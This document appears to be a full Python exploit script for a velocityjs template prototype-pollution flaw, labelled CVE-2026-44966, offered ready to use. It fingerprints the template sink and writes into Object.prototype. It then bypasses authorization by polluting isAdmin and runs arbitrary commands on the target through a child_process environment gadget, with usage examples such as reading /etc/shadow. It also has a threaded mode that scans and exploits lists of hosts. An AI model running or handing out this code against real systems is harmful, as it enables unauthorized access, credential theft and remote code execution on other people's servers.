Share
## https://sploitus.com/exploit?id=PACKETSTORM:227410
#!/usr/bin/env python3
"""
CVE-2026-44966 - velocityjs (Velocity.js) prototype pollution via unvalidated #set left-hand path
Affected: npm package `velocityjs` >= 0.3.1, < 2.1.6 (fixed in 2.1.6)
Type: Prototype Pollution (CWE-1321) -> security-control bypass -> RCE (Node <= 16 gadget)
Any application that passes attacker-controlled text to velocityjs as the TEMPLATE
argument (`velocity.render(userInput, ctx)`) lets the attacker write arbitrary
properties into Object.prototype, poisoning the whole Node process for every later
request. This exploit climbs the full ladder:
rung 1+2 arbitrary Object.prototype write, proven in-band from the render response
rung 3 authorization bypass (Object.prototype.isAdmin = true)
rung 4+5 command execution through the child_process options-bag gadget
(Object.prototype.shell = /proc/self/exe + env NODE_OPTIONS=--require
/proc/self/environ). Requires the target process to reach a
child_process call and to run Node <= 16; Node 18+ copies the options
bag into a null-prototype object, which blocks rungs 4-5 only.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 3000
python exploit.py --host https://tpl.corp.com --command "cat /etc/shadow"
python exploit.py --host http://192.168.1.10:8080/api/preview --command "uname -a"
python exploit.py --host 192.168.1.10 --port 3000 --no-rce
python exploit.py --list targets.txt --workers 20
Endpoint arguments (adjust to the target application):
--path the sink: an endpoint that renders the request body as a VTL template
--admin-path any endpoint whose authorization decision reads an inherited flag
--report-path any endpoint that reaches child_process (exec/execSync/spawn)
--probe-path optional endpoint that echoes a property read off a fresh object
"""
import argparse
import base64
import http.client
import random
import socket
import ssl
import string
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2026-44966"
VULN_TYPE = "Prototype Pollution -> RCE"
DEFAULT_PORT = 3000
DEFAULT_PATH = "/render"
DEFAULT_ADMIN_PATH = "/admin"
DEFAULT_REPORT_PATH = "/report"
DEFAULT_PROBE_PATH = "/probe"
RCE_BEGIN = "ALIM_RCE_BEGIN"
RCE_END = "ALIM_RCE_END"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------
# transport
# --------------------------------------------------------------------------
def _request(host, port, use_tls, method, path, body=None, timeout=15):
"""One HTTP request. Returns (status, body_text). Raises on transport errors."""
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/125.0 Safari/537.36",
"Accept": "*/*",
"Connection": "close",
}
data = None
if body is not None:
data = body.encode("utf-8")
headers["Content-Type"] = "text/plain; charset=utf-8"
headers["Content-Length"] = str(len(data))
conn.request(method, path, body=data, headers=headers)
resp = conn.getresponse()
raw = resp.read()
return resp.status, raw.decode("utf-8", "replace")
finally:
try:
conn.close()
except Exception:
pass
def _render(host, port, use_tls, path, template, timeout=15):
"""POST a VTL template to the sink. Returns (status, body_text)."""
return _request(host, port, use_tls, "POST", path, body=template, timeout=timeout)
# --------------------------------------------------------------------------
# payload construction
# --------------------------------------------------------------------------
def _token(n=12):
alphabet = string.ascii_uppercase + string.digits
return "ALIM" + "".join(random.choice(alphabet) for _ in range(n))
# Fingerprint: proves the body is evaluated as a Velocity template rather than
# echoed. #set produces no output, so the arithmetic result is the tell.
FINGERPRINT_TPL = "ALIMSINK#set($a = 41)#set($b = $a + 1)$b"
FINGERPRINT_EXPECT = "ALIMSINK42"
def _pollution_templates(key, value):
"""
The three independent LHS vectors, each combined with an in-band read-back.
The read-back is what makes this exploit self-contained: after the write, a
NEW empty map is created and the polluted key is read off it. velocityjs
resolves references with plain property access, so an inherited value renders
in the response body. On a patched target (>= 2.1.6) the write is silently
dropped and the unresolved reference `$alimq.<key>` is echoed literally.
"""
tail = "#set($alimq = {})\nREADBACK[$alimq.%s]" % key
return [
("direct __proto__ reference",
"#set($__proto__.%s = '%s')\n%s" % (key, value, tail)),
("bracket/index __proto__ key on an auto-created root",
"#set($alimp = {})\n#set($alimp[\"__proto__\"].%s = '%s')\n%s" % (key, value, tail)),
("constructor.prototype walk (no __proto__ token)",
"#set($alimc = {})\n#set($alimc.constructor.prototype.%s = '%s')\n%s" % (key, value, tail)),
]
def _rce_template(command):
"""
Rungs 4+5: the Node child_process options-bag gadget, delivered through the
prototype-pollution primitive.
Object.prototype.shell = '/proc/self/exe' -> the child becomes `node -c <cmd>`
Object.prototype.env = {AAAA, NODE_OPTIONS, PATH}
-> replaces the child environment,
and --require /proc/self/environ
makes Node preload that very
environment block as a CommonJS
module.
/proc/self/environ is NUL-separated, so the module text is `AAAA=<payload>` followed
by the remaining variables; the trailing `//` on the first variable comments the rest
out. Two consequences drive the payload shape:
* AAAA must be inserted FIRST (map key order is preserved),
* the payload is the right-hand side of `AAAA=`, so it must be an EXPRESSION.
A bare statement (`try{...}`) is a SyntaxError; hence the IIFE wrapper.
The command is carried base64-encoded so that quotes, $, # and backslashes in
--command can never break out of the VTL single-quoted string or the JS literal.
"""
b64 = base64.b64encode(command.encode("utf-8")).decode("ascii")
js = (
'(function(){var r="";'
'try{r=require("child_process").execSync('
'Buffer.from("%s","base64").toString(),{encoding:"utf8"})}'
'catch(e){r=String(e.stdout||"")+String(e.stderr||"")}'
'console.log("%s");console.log(r);console.log("%s")})()//'
) % (b64, RCE_BEGIN, RCE_END)
return "\n".join([
"#set($alime = {})",
"#set($alime.AAAA = '%s')" % js,
"#set($alime.NODE_OPTIONS = '--require /proc/self/environ')",
"#set($alime.PATH = '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin')",
"#set($alimg = {})",
'#set($alimg["__proto__"].env = $alime)',
"#set($alimg[\"__proto__\"].shell = '/proc/self/exe')",
])
def _extract_rce_output(body):
"""Pull the delimited command output out of a response body, or None."""
if RCE_BEGIN not in body:
return None
tail = body.split(RCE_BEGIN, 1)[1]
return tail.split(RCE_END, 1)[0].strip() if RCE_END in tail else tail.strip()
# --------------------------------------------------------------------------
# scan-mode probe (silent, never prints, never exits)
# --------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, timeout=10, **kwargs):
"""Silent probe for --list scan mode. Returns (success, evidence)."""
try:
status, body = _render(host, port, use_tls, path, FINGERPRINT_TPL, timeout)
if FINGERPRINT_EXPECT not in body:
return False, "no Velocity template sink at %s (HTTP %d)" % (path, status)
key = "polluted"
value = _token()
for label, tpl in _pollution_templates(key, value):
try:
_, out = _render(host, port, use_tls, path, tpl, timeout)
except Exception:
continue
if value in out:
return True, "Object.prototype.%s written via %s" % (key, label)
return False, "sink present but pollution blocked (velocityjs >= 2.1.6)"
except socket.timeout:
return False, "unreachable (timeout)"
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, default_path=DEFAULT_PATH,
timeout=10) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, default_path) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
ok, evidence = _try_exploit(host, port, use_tls, path=path, timeout=timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------
# single-target exploitation
# --------------------------------------------------------------------------
def exploit(host, port, use_tls, command, path, admin_path, report_path, probe_path,
do_rce=True, timeout=15):
header(host, port)
# ---- step 1: is the request body actually rendered as a VTL template? ----
step(1, "Fingerprinting the template sink at POST %s ..." % path)
try:
status, body = _render(host, port, use_tls, path, FINGERPRINT_TPL, timeout)
except Exception as e:
done(False, "target unreachable: %s: %s" % (e.__class__.__name__, e))
section("SINK RESPONSE (HTTP %d)" % status, body[:500] or "(empty)")
if FINGERPRINT_EXPECT not in body:
done(False, "no Velocity template sink at %s - the body is not rendered as VTL "
"(try a different --path)" % path)
print(" Velocity engine confirmed: '#set($a = 41)$a + 1' evaluated to 42\n")
# ---- step 2: baseline the authorization endpoint before polluting ----
admin_baseline = None
step(2, "Baselining authorization endpoint GET %s ..." % admin_path)
try:
admin_baseline, admin_body = _request(host, port, use_tls, "GET", admin_path,
timeout=timeout)
print(" baseline: HTTP %d %s\n" % (admin_baseline, admin_body.strip()[:120]))
except Exception as e:
print(" baseline unavailable (%s) - auth-bypass stage will be skipped\n"
% e.__class__.__name__)
# ---- step 3: rungs 1+2 - arbitrary Object.prototype write, proven in-band ----
step(3, "Rung 1+2: writing into Object.prototype and reading it back in-band ...")
# The key is a conventional prototype-pollution marker so any read-back endpoint the
# application already exposes corroborates it; the random VALUE is what makes the
# evidence unambiguous (it cannot be a pre-existing property).
key = "polluted"
value = _token()
polluted_via = None
for label, tpl in _pollution_templates(key, value):
print(" vector: %s" % label)
try:
st, out = _render(host, port, use_tls, path, tpl, timeout)
except Exception as e:
print(" transport error: %s" % e.__class__.__name__)
continue
if value in out:
polluted_via = label
section("PROTOTYPE READ-BACK (HTTP %d)" % st, out)
break
print(" HTTP %d, read-back: %s" % (st, out.strip()[:120] or "(empty)"))
if not polluted_via:
done(False, "sink renders VTL but every #set prototype path was refused - "
"target is patched (velocityjs >= 2.1.6)")
print(" Object.prototype.%s == '%s' - the write is process-global and permanent.\n"
% (key, value))
# optional corroboration from an application endpoint that reads a fresh object
try:
pst, pbody = _request(host, port, use_tls, "GET", probe_path, timeout=timeout)
if pst == 200:
section("APPLICATION PROBE %s" % probe_path, pbody)
except Exception:
pass
evidence = "Object.prototype write confirmed via %s (Object.prototype.%s = '%s')" % (
polluted_via, key, value)
# ---- step 4: rung 3 - authorization bypass ----
step(4, "Rung 3: polluting Object.prototype.isAdmin and re-testing %s ..." % admin_path)
auth_bypassed = False
try:
_render(host, port, use_tls, path,
"#set($alimp2 = {})\n#set($alimp2[\"__proto__\"].isAdmin = true)", timeout)
ast, abody = _request(host, port, use_tls, "GET", admin_path, timeout=timeout)
section("AUTHORIZATION RESPONSE (HTTP %d)" % ast, abody or "(empty)")
if admin_baseline is not None and admin_baseline in (401, 403) and ast == 200:
auth_bypassed = True
first = abody.strip().splitlines()[0][:160] if abody.strip() else ""
print(" HTTP %d -> %d without any credentials.\n" % (admin_baseline, ast))
evidence = "authorization bypass - %s returned HTTP %d (was %d): %s" % (
admin_path, ast, admin_baseline, first)
else:
print(" no status change (HTTP %s -> %s); this app's check does not read "
"an inherited flag.\n" % (admin_baseline, ast))
except Exception as e:
print(" auth-bypass stage skipped (%s)\n" % e.__class__.__name__)
# ---- step 5: rungs 4+5 - command execution via the child_process gadget ----
if not do_rce:
section("RCE STAGE", "skipped (--no-rce)")
done(True, evidence)
step(5, "Rung 4+5: child_process options-bag gadget, command = %r ..." % command)
try:
rst, rbase = _request(host, port, use_tls, "GET", report_path, timeout=timeout)
print(" %s baseline (HTTP %d): %s" % (report_path, rst, rbase.strip()[:120]))
except Exception:
print(" %s baseline unavailable" % report_path)
try:
gst, gbody = _render(host, port, use_tls, path, _rce_template(command), timeout)
print(" gadget template accepted: HTTP %d (empty body is expected - #set "
"renders nothing)" % gst)
except Exception as e:
section("RCE STAGE", "gadget delivery failed: %s" % e.__class__.__name__)
done(True, evidence)
out = None
try:
cst, cbody = _request(host, port, use_tls, "GET", report_path, timeout=timeout + 15)
out = _extract_rce_output(cbody)
if out is None:
section("GADGET TRIGGER RESPONSE (HTTP %d)" % cst, cbody[:800] or "(empty)")
except Exception as e:
print(" gadget trigger request failed: %s" % e.__class__.__name__)
if out:
section("COMMAND OUTPUT", out)
first = out.splitlines()[0][:160] if out.splitlines() else out[:160]
done(True, "RCE confirmed - command %r executed on the target: %s" % (command, first))
print(" gadget did not engage. Object.prototype.shell/env are set, but the child\n"
" process never consumed them: Node >= 18 copies the options bag into a\n"
" null-prototype object, or the target never reaches a child_process call\n"
" (try a different --report-path).\n")
done(True, evidence + " - RCE gadget did not engage (Node >= 18 hardened sink, or no "
"child_process call site behind --report-path)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/render)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT,
help="Default port (default: %d)" % DEFAULT_PORT)
parser.add_argument("--command", default="id",
help="Command to execute on the target (default: id)")
parser.add_argument("--path", default=DEFAULT_PATH,
help="Template sink endpoint (default: %s)" % DEFAULT_PATH)
parser.add_argument("--admin-path", default=DEFAULT_ADMIN_PATH,
help="Endpoint gated by an inherited authorization flag (default: %s)"
% DEFAULT_ADMIN_PATH)
parser.add_argument("--report-path", default=DEFAULT_REPORT_PATH,
help="Endpoint that reaches child_process, used to fire the RCE gadget "
"(default: %s)" % DEFAULT_REPORT_PATH)
parser.add_argument("--probe-path", default=DEFAULT_PROBE_PATH,
help="Optional endpoint echoing a fresh object's properties (default: %s)"
% DEFAULT_PROBE_PATH)
parser.add_argument("--no-rce", action="store_true",
help="Stop after the pollution and auth-bypass stages. The RCE gadget "
"pollutes Object.prototype.env/.shell, which can destabilise the "
"target process.")
parser.add_argument("--timeout", type=int, default=15, help="Socket timeout (default: 15)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
default_path=args.path, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port, args.path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.command, path, args.admin_path,
args.report_path, args.probe_path, do_rce=not args.no_rce,
timeout=args.timeout)